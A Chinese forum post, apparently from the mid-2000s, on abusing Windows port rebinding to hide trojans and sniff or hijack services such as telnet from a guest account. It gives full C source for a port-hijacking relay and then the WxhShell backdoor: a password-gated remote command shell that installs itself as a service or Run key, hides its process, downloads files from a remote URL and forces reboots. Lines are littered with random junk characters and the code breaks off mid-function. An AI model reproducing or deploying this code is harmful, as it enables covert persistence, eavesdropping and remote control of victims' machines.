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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 4 RfBXVS  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ZO>)GR2S  
aLlHR_  
  saddr.sin_family = AF_INET; @WiTh'w0  
t<"%m)J  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); &"7+k5O  
$LiBJ~vV<  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); .yD5>iBh  
)a9C3-8Y'  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 POf xN.  
t#w,G  
  这意味着什么?意味着可以进行如下的攻击: g!OcWy)7  
`26.+>Z7  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 M*D@zb0ia  
Y^y:N$3$\  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) [I/ZzDMX  
<C451+95  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 PcjeuJZ  
9 9^7Ek!z#  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  O%w'n z"  
204"\ mv  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 #qv!1$}2  
u=Xpu,q  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 1DGl[k/zv  
Z[>fFg~N4  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 8U}+9  
I'[;E.KU  
  #include Rtlc&Q.b  
  #include umCmxm r&  
  #include D !{e  
  #include    CeM%?fr5  
  DWORD WINAPI ClientThread(LPVOID lpParam);   ^m AxV7k  
  int main() Mi\- 9-  
  { YFW/ Fa\7  
  WORD wVersionRequested; j8aH*K-l{  
  DWORD ret; h6n!"z8H  
  WSADATA wsaData; ,<Wt8'e  
  BOOL val; y>7 r;e  
  SOCKADDR_IN saddr; i:jns>E  
  SOCKADDR_IN scaddr; 'H#0-V"=  
  int err; R<ORw]  
  SOCKET s; lCTXl5J5  
  SOCKET sc; Zr=B8wuT  
  int caddsize; c6AwO?x/  
  HANDLE mt; fzOh3FO+  
  DWORD tid;   mA"[x_  
  wVersionRequested = MAKEWORD( 2, 2 ); piqh7u3~  
  err = WSAStartup( wVersionRequested, &wsaData ); Y#6LNI   
  if ( err != 0 ) { {?"X\5n0  
  printf("error!WSAStartup failed!\n"); H)CoByaj  
  return -1; L-9;"]d~|  
  } +ej5C:El_}  
  saddr.sin_family = AF_INET; z ?F`)}  
   ?@kz`BY  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 I!SIy&=W  
#2"'tHf4  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 9+/D\|"{  
  saddr.sin_port = htons(23); V]m}xZ'?^  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) MWK)Bn  
  { l/"!}wF  
  printf("error!socket failed!\n"); &N]e pV>  
  return -1; %~kE,^  
  } kDxI7$]E  
  val = TRUE; EBiLe;=X  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 Z  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 5evk_f  
  { Zj_2B_|WN#  
  printf("error!setsockopt failed!\n"); L,ax^]  
  return -1;  wG6Oz2(  
  } RCoDdtMo  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; At !:d3  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 ,H8M.hbsQ  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 b80&${v  
/I{K_G@  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 8&3& ^!I  
  { p"- %~%J=  
  ret=GetLastError(); esq~Ehr=  
  printf("error!bind failed!\n"); BOP7@D  
  return -1; RLzqpE<rJ  
  } ?P4y$P  
  listen(s,2); eW8{ ],B  
  while(1) 2aX$7E?  
  { g3^:)$m  
  caddsize = sizeof(scaddr); `Q#)N0  
  //接受连接请求 NeP  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); B-$zioZ  
  if(sc!=INVALID_SOCKET) (`4&Y-  
  { L3'isaz&^  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); xg8R>j  
  if(mt==NULL) :RwURv+kT  
  { qnnRS  
  printf("Thread Creat Failed!\n"); 94|ZY}8|f  
  break; W]_a_5  
  } H K J^6|'  
  } l*huKSX}  
  CloseHandle(mt); eVB43]g  
  } y>#kT  
  closesocket(s); \I^"^'CP  
  WSACleanup(); y7+n*|H  
  return 0; D:?"Rf{)  
  }   !%DE(E*'(  
  DWORD WINAPI ClientThread(LPVOID lpParam) Sw$/Z)1K&  
  { Nl/ fvJ`4  
  SOCKET ss = (SOCKET)lpParam; H q?F@X  
  SOCKET sc; ?L H[,8z  
  unsigned char buf[4096]; cfRUVe  
  SOCKADDR_IN saddr; N}<!k#d E  
  long num; ~ 4Mz:h^  
  DWORD val; g0;;+z  
  DWORD ret; ld):Am}/o  
  //如果是隐藏端口应用的话,可以在此处加一些判断 EwgNd Gcj  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   Cbl>eKw  
  saddr.sin_family = AF_INET; p GF;,h>  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); }_}    
  saddr.sin_port = htons(23); bj0<A  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Ciz,1IV  
  { 5w{U/v$Z  
  printf("error!socket failed!\n"); (FZ8T39  
  return -1; ?<Hgq8J  
  } jC$~m#F  
  val = 100; O '`|(L  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) %++S;#)~  
  { Da!vGr  
  ret = GetLastError(); q8.Z7ux  
  return -1; gg8)oc+w  
  } y4aT-^C'  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) %e)vl[:}  
  { Y,EF'Ot  
  ret = GetLastError(); +JY8"a97>  
  return -1; JUXBMYFus  
  } !0|&f>y  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) L<XX?I\p  
  { [+#k+*1*o  
  printf("error!socket connect failed!\n"); \ bWy5/+  
  closesocket(sc); z4` :n.  
  closesocket(ss); u$aN~6HG  
  return -1; SG&H^V8  
  } f)gV2f0t  
  while(1) Eza^Tbq%j?  
  { AE`UnlUSF  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 n "^rS}Y]  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 1vCp<D9<  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 0(9gTxdB  
  num = recv(ss,buf,4096,0); Xc^(e?L4  
  if(num>0) ;`kOFg#`)c  
  send(sc,buf,num,0); S4_ZG>\VT  
  else if(num==0) + 65<|0  
  break; TiZ MY:^  
  num = recv(sc,buf,4096,0); k`]76C7  
  if(num>0) Y5B! *+h  
  send(ss,buf,num,0); k6Vs#K7a  
  else if(num==0) 8wZ $Hq  
  break; w^n&S=E E~  
  } =knLkbiq7,  
  closesocket(ss); gkq~0/  
  closesocket(sc); &e#pL`N  
  return 0 ; $Fy~xMA8O  
  } !=yO72dgLY  
]W%rhppC  
qoZAZ&|HI  
========================================================== u`oJ3mS;  
<Hz11 }<(  
下边附上一个代码,,WXhSHELL CDW| cr{  
7~ZG"^k  
========================================================== SrOv* D3  
kkj@!1q(wO  
#include "stdafx.h" >yqEXx5{  
#)#'^MZX  
#include <stdio.h> (Ia:>ocE0  
#include <string.h> jv1p'qs4  
#include <windows.h> Z/v )^VR  
#include <winsock2.h> k<f0moxs'  
#include <winsvc.h> F8{T/YhZ  
#include <urlmon.h> 66+]D4(k  
9)j"|5H  
#pragma comment (lib, "Ws2_32.lib") KBI 1t$  
#pragma comment (lib, "urlmon.lib") t=p"nIE  
 :J)^gc  
#define MAX_USER   100 // 最大客户端连接数 FT}^Fi7  
#define BUF_SOCK   200 // sock buffer %$Q!'+YW  
#define KEY_BUFF   255 // 输入 buffer 0TICv2l!  
VeQ [A?pER  
#define REBOOT     0   // 重启 1hV&/Qr  
#define SHUTDOWN   1   // 关机 /w2IL7}  
 x}d5 Y  
#define DEF_PORT   5000 // 监听端口 $[J\sokpY  
je>gT`8  
#define REG_LEN     16   // 注册表键长度 @wP.Rd  
#define SVC_LEN     80   // NT服务名长度 ;;U&mhz`  
ZX{eggXl  
// 从dll定义API  P/]8+_K  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); BCd0X. m(  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); V2tA!II-s  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); *]kE3  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); r.:f.AY{  
q?L*Luu+  
// wxhshell配置信息  wJvk  
struct WSCFG { G`;mSq6i  
  int ws_port;         // 监听端口 cRf;7G  
  char ws_passstr[REG_LEN]; // 口令 ~Sd,Tu%:  
  int ws_autoins;       // 安装标记, 1=yes 0=no 5VfpeA `  
  char ws_regname[REG_LEN]; // 注册表键名 y4!fu<[i  
  char ws_svcname[REG_LEN]; // 服务名 o5Knot)Oy  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 $D f1t  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 "e29j'u!*  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 mcQ\"9;pY  
int ws_downexe;       // 下载执行标记, 1=yes 0=no \(5Bi3PA}  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" AJRiwP|H+  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 }2Im?Q  
8-K4*(-dL  
}; {z'Gg  
YsO`1D  
// default Wxhshell configuration Ag1nxV1M$  
struct WSCFG wscfg={DEF_PORT, W^3'9nYU  
    "xuhuanlingzhe", W$Aypy  
    1, qrt2uE{K  
    "Wxhshell", bs?4|#[K  
    "Wxhshell", ;hFB]/.v  
            "WxhShell Service", g)MLgjj  
    "Wrsky Windows CmdShell Service", )*o) iN 7l  
    "Please Input Your Password: ", W`n_m&Y\  
  1, .=c@ps  
  "http://www.wrsky.com/wxhshell.exe", >g[Wnzf  
  "Wxhshell.exe" ZQ[s:  
    }; xrJ0  
~<osL  
// 消息定义模块 %u]>K(tU  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; !W=2ZlzS  
char *msg_ws_prompt="\n\r? for help\n\r#>"; vha@YPC=  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; A {')  
char *msg_ws_ext="\n\rExit."; I+Fr#1  
char *msg_ws_end="\n\rQuit."; |:SXN4';?  
char *msg_ws_boot="\n\rReboot..."; i'#%t/ u  
char *msg_ws_poff="\n\rShutdown..."; 8mX:*$qm:  
char *msg_ws_down="\n\rSave to "; Io_7  
Z \ -  
char *msg_ws_err="\n\rErr!"; _ g"su #  
char *msg_ws_ok="\n\rOK!"; Q?9eu%G6I  
OQT i$2  
char ExeFile[MAX_PATH]; (fO~nN{F  
int nUser = 0; $>%zNq-F  
HANDLE handles[MAX_USER]; VAa;XVmB  
int OsIsNt; "M]`>eixL  
qv/chD`C  
SERVICE_STATUS       serviceStatus; 27H4en; o=  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; HsK5 2<  
#- d-zV*  
// 函数声明 %5(v'/dQ  
int Install(void); G&7 } m  
int Uninstall(void); =E8Kacu%  
int DownloadFile(char *sURL, SOCKET wsh); `"bp -/  
int Boot(int flag); [{_K[5i  
void HideProc(void); .:, 9Tf  
int GetOsVer(void); I]ol[ X0S  
int Wxhshell(SOCKET wsl); s|"4!{It  
void TalkWithClient(void *cs); $I /RN  
int CmdShell(SOCKET sock); @gJPMgF$F  
int StartFromService(void); Ob -k`@_|  
int StartWxhshell(LPSTR lpCmdLine); )v.\4Q4  
]JI A\|b6  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 0j{KZy  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); h3A|nd>\  
j;*= ^s  
// 数据结构和表定义  aK9zw  
SERVICE_TABLE_ENTRY DispatchTable[] = MK4CggoC  
{ '}NH$ KA  
{wscfg.ws_svcname, NTServiceMain}, 5d82Ms  
{NULL, NULL} f<3r;F7  
}; 0 f"M-x  
>[g'i+{  
// 自我安装 7jF2m'(  
int Install(void) t]pJt  
{ &44?k:  
  char svExeFile[MAX_PATH]; ]^l-k@  
  HKEY key; Xc]Q_70O  
  strcpy(svExeFile,ExeFile); \Ng[lN  
H0mDs7  
// 如果是win9x系统,修改注册表设为自启动 O,KlZf_B  
if(!OsIsNt) { =TXc - J  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { k8"[)lDc.  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); kc:2ID&  
  RegCloseKey(key); &oiBMk`*  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { z[_Gg8e  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); O<w7PS  
  RegCloseKey(key); pJwy ~ L  
  return 0; GP}+c8|2  
    } a^&3?3   
  } ia /_61%  
} {{_,YO^w  
else { 4:v{\R  
h'G8@j;  
// 如果是NT以上系统,安装为系统服务 & |o V\L  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); -3:x(^|:K  
if (schSCManager!=0) YcBAW4B`  
{ fBt7#Tc=U  
  SC_HANDLE schService = CreateService j-etEWOTr  
  (  WR"p2=  
  schSCManager, mdHC{sp  
  wscfg.ws_svcname, aMjCqu05  
  wscfg.ws_svcdisp, jl4rEzVu  
  SERVICE_ALL_ACCESS, *CXVA&?  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , \(ZOt.3!J  
  SERVICE_AUTO_START, t\C[mw  
  SERVICE_ERROR_NORMAL, YY<e]CriU  
  svExeFile, Q /\Hc  
  NULL, K?+ Rq  
  NULL, `{I-E5 x  
  NULL, \7,'o] >M-  
  NULL, v|mZcAz  
  NULL c}FZb$q#  
  ); Yt;.Z$i ,  
  if (schService!=0) tI(co5 W  
  { lL:J:  
  CloseServiceHandle(schService); c^8y/wfok  
  CloseServiceHandle(schSCManager); n-_-;TYH  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ^KMZB  
  strcat(svExeFile,wscfg.ws_svcname); U9B|u`72  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { _/!IjB:(70  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); c8jq.y v  
  RegCloseKey(key); u5FlT3hY.  
  return 0; = 8%+$vX  
    } bx<7@  
  } D}Lx9cL  
  CloseServiceHandle(schSCManager); RA+k/2]y!  
} "$BWP  
} z<mU$<  
[(N<E/m%B  
return 1; Wc$1Re{z  
} Ie?C<(8Ul  
 `#lNur\x  
// 自我卸载 "L" 6jT  
int Uninstall(void) W7"ks(  
{ oFV >b  
  HKEY key; )/9/p17:xu  
Ofg-gCF8  
if(!OsIsNt) { ~(`iRxK  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { kSw.Q2ao  
  RegDeleteValue(key,wscfg.ws_regname); Rj=xn(@d  
  RegCloseKey(key); qzqv-{.h  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { &u_f:Pog  
  RegDeleteValue(key,wscfg.ws_regname); 6]^}GyM!  
  RegCloseKey(key); l8hOryB&  
  return 0; L[*Xrp;/&  
  } I.\fhNxHY  
} /^\6q"'  
} 'DQKpk'  
else { ZOG6  
]f q.r  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); x AD:Z "  
if (schSCManager!=0) v7/qJ9l  
{ 9_F2nmEv  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); l7P~_X_)"  
  if (schService!=0) fNx3\<~V=  
  { X] &Q^  
  if(DeleteService(schService)!=0) { m>'sM1s  
  CloseServiceHandle(schService); fgP_NYfOj  
  CloseServiceHandle(schSCManager); <gKT7ONtg  
  return 0; T?c:z?j_9  
  } >_]j{}~\k  
  CloseServiceHandle(schService); vd9><W  
  } /nRi19a%xU  
  CloseServiceHandle(schSCManager); eUA6X ,I  
} ]`&ws  
} Nd*zSsVlq  
N$H0o+9-Y  
return 1; AjK'P<:/  
} g#1_`gK  
Jn. WbS  
// 从指定url下载文件 nj~1y ')  
int DownloadFile(char *sURL, SOCKET wsh) C_Y^<  
{ ^~2GhveBV  
  HRESULT hr; 0t1WvW  
char seps[]= "/"; )sVz;rF<  
char *token; 5/Q^p"  
char *file; <ok/2v  
char myURL[MAX_PATH]; %uyRpG3,  
char myFILE[MAX_PATH]; YZdp/X6x  
ZO+c-!%[(  
strcpy(myURL,sURL); &gZ5dTj>  
  token=strtok(myURL,seps); jYRwtP\  
  while(token!=NULL) #!KbqRt  
  { .Kr?vD^nG  
    file=token; v*1UNXU\  
  token=strtok(NULL,seps); `Xnu("w)  
  } e@6<mir[4  
Qj?FUxw  
GetCurrentDirectory(MAX_PATH,myFILE); $z]gy]F  
strcat(myFILE, "\\"); Cw`v\ 9  
strcat(myFILE, file); E3y"  
  send(wsh,myFILE,strlen(myFILE),0); g&H6~ +\  
send(wsh,"...",3,0); `6b!W0$ -  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); }r6SV%]:  
  if(hr==S_OK) bH&Cbme90-  
return 0; w3c[t~R8  
else DJ;G0*  
return 1; d$/BF&n  
U&|=dH]-  
} GM{m(Y  
$cFanra  
// 系统电源模块 jAmAT /1  
int Boot(int flag) VC\43A,9  
{ O/>$kG%ge  
  HANDLE hToken; AS[cz! >  
  TOKEN_PRIVILEGES tkp; 1y l2i|m+  
52BlFBNV  
  if(OsIsNt) { 2Tt@2h_L  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Bhl@\Kq  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ;GO>#yg4Eh  
    tkp.PrivilegeCount = 1; s2Ivd*=mT  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; veg\A+:'  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); !q! =VC  
if(flag==REBOOT) { RZ9vQ\X U)  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 7E4=\vM  
  return 0; eZ y)>.6Z  
}  ;OQ{  
else { |0ahvsrtW  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Funep[rA  
  return 0; X~GnK>R  
} [>Kkj;*  
  } W~ XJ']e  
  else { R}a,.C  
if(flag==REBOOT) { Sve~-aG  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ;=Jj{FoG%  
  return 0; Slcf=  
} DHJh.Y@H  
else { iTi<X|X  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ZJ@M}-4O1  
  return 0; #[C |%uq  
} 8l0%:6XbI  
} gd-4hR  
/Ws@YP  
return 1; *;8tj5du  
} oorit  
-kxNJ Gc?  
// win9x进程隐藏模块 qdrk.~_  
void HideProc(void) 6+A<_r`#Q  
{ _`|Hk2O  
|AW[4Yn>  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); P*XLm  
  if ( hKernel != NULL ) K_',Gd4L  
  { s={AdQ  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); hgX@?WWR  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); `h/j3fmX?  
    FreeLibrary(hKernel); [S9T@Q  
  } R3<>]/1p|P  
c 's=>-X  
return; 7-.Y VM~R  
} ?N<* ATC L  
6]rIYc[,  
// 获取操作系统版本 k!b\qS~Q  
int GetOsVer(void) Mb=vIk{B f  
{ n;)!N  
  OSVERSIONINFO winfo; | Uf6k`  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); sptDzVM  
  GetVersionEx(&winfo); _9wX8fh3D  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) [WnX'R R  
  return 1; $&Ng*oX  
  else mHB*4L  
  return 0; I.A7H'j  
} ,5HQHo@  
B1 oi]hDy  
// 客户端句柄模块 :XEP:8  
int Wxhshell(SOCKET wsl) t&^9o $  
{ ]tL9y<  
  SOCKET wsh; PuqT&|wP l  
  struct sockaddr_in client; ByoSwQ  
  DWORD myID; }(z[ rZ  
6 uW?xB9  
  while(nUser<MAX_USER) ,J"6(nk  
{ EFu2&P  
  int nSize=sizeof(client); &WE|9  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); vF0#]  
  if(wsh==INVALID_SOCKET) return 1; k`U")lv  
xGCW-YR9  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Z;=G5O uvQ  
if(handles[nUser]==0) Lz's!b  
  closesocket(wsh); )4>M<BO  
else W'u6F-$2  
  nUser++; P% _cIR  
  } I?LJXo\O  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); sxIvL7jl  
j+"i$ln+s  
  return 0; ^EWkJW,Yc  
} :#1{c^i%3  
z$$ E7i  
// 关闭 socket >Lx,<sE  
void CloseIt(SOCKET wsh) [ X]yj  
{ IL`X}=L_  
closesocket(wsh); G?CaCleG  
nUser--; q,3_)ZOq  
ExitThread(0); |9T3" _MmJ  
} nfET;:{  
KWbnSL8  
// 客户端请求句柄 ?pn<lW8d  
void TalkWithClient(void *cs) D*BZp0x  
{ .|iMKRq  
iZ % KHqG  
  SOCKET wsh=(SOCKET)cs; "{1`~pDj?  
  char pwd[SVC_LEN]; 8TGO6oY+=  
  char cmd[KEY_BUFF]; V TQ V]>|  
char chr[1]; A5cx!h  
int i,j; NFw7g&1;Kp  
m/RX~,T*v&  
  while (nUser < MAX_USER) { a~E@scD  
Qn'Do4Le  
if(wscfg.ws_passstr) { NC'+-P'y  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 'NHtCs=F   
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); nXPl\|pXt  
  //ZeroMemory(pwd,KEY_BUFF); IV*@}~BJ  
      i=0; nf=*KS\v  
  while(i<SVC_LEN) { =&G<^7  
|b" h+  
  // 设置超时 ]=\vl>W  
  fd_set FdRead; ?3 {&"  
  struct timeval TimeOut; DKw%z8ft|  
  FD_ZERO(&FdRead); C4wJSQl_I  
  FD_SET(wsh,&FdRead); )Be?axI  
  TimeOut.tv_sec=8; d5h]yIz^  
  TimeOut.tv_usec=0; 3<.]+ukm  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); (?R;u>  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); )@+lfIE(l  
VWDXEa9  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ^Z1t'-xZ  
  pwd=chr[0]; j06?Mm_c2  
  if(chr[0]==0xd || chr[0]==0xa) { jej|B#?`  
  pwd=0; vU,AOK[l{  
  break; kHLpa/A  
  } zj:= 9$  
  i++; !lQGoXQ'4  
    } D+edTAQ8  
YuufgPE*H  
  // 如果是非法用户,关闭 socket i4;`dCT|A  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); OiBDI3,|+  
} o zg%-  
ZslH2#   
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); k\->uSU9  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); V6l~Aj}/  
:'1UX <&B  
while(1) { lO=+V 6  
MO}J  
  ZeroMemory(cmd,KEY_BUFF); dQP7CP  
}?[^q  
      // 自动支持客户端 telnet标准   4Uz1~AuNxb  
  j=0; h1O^~"x  
  while(j<KEY_BUFF) { Z{-x}${  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Zx$q,Zo<  
  cmd[j]=chr[0]; Gt;@. jY&  
  if(chr[0]==0xa || chr[0]==0xd) { oVi_X98R  
  cmd[j]=0; 2y6@:VxSh  
  break; T.ZPpxY  
  } ">pW:apl%  
  j++; BCnf'0q  
    } S}fU2Wi  
QY14N{]T\p  
  // 下载文件 }{FKs!(4  
  if(strstr(cmd,"http://")) { P$l-p'U-  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); yLv jfP1  
  if(DownloadFile(cmd,wsh)) "mT95x\NA\  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); "s[Y$!#  
  else ;/tZsE{  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Qdepzo>E  
  } m ,B,dqT  
  else { iV+'p->/  
RSL%<  
    switch(cmd[0]) { Jt-s6-2  
  -^A=U7  
  // 帮助 _`RzPIS^  
  case '?': { %Xm3m0nsv{  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); VrG4wLpLs  
    break; 8R !3}kx  
  } !r=^aa(\  
  // 安装 X`xI~&t_  
  case 'i': { MYVUOd,  
    if(Install()) bpe8 `b(#  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); b1X.#pz7F  
    else nq'vq] ]  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0);  ?gZJ v  
    break; a2:Tu  
    } RX]x3-  
  // 卸载 G`!ff  
  case 'r': { _W@SCV)yH  
    if(Uninstall()) 7lP3\7wD@9  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); fwR3=:5~  
    else /t "p^9!^  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); G'|Emu=4  
    break; w8~J5XS  
    } g4n& k  
  // 显示 wxhshell 所在路径 F[aow$",+}  
  case 'p': { i&cH  
    char svExeFile[MAX_PATH]; @(:ah  
    strcpy(svExeFile,"\n\r"); _ F0qq j  
      strcat(svExeFile,ExeFile); lHYu-}TNP  
        send(wsh,svExeFile,strlen(svExeFile),0); ~&E|;\G  
    break; "|1MJuY_6  
    } 6k#H>zY,  
  // 重启 Ef fp^7 3  
  case 'b': { F~Kd5-I@  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); mtfyhFk  
    if(Boot(REBOOT)) to0tH^pD  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); %9_wDfw~  
    else { jgiP2k[Xom  
    closesocket(wsh); v\9:G  
    ExitThread(0); d2H&@80  
    }  8ad!.  
    break; dhW;|  
    } ~;ink   
  // 关机 Ru%: z>Y  
  case 'd': { K;2]c3T  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); JOj\#!\>k0  
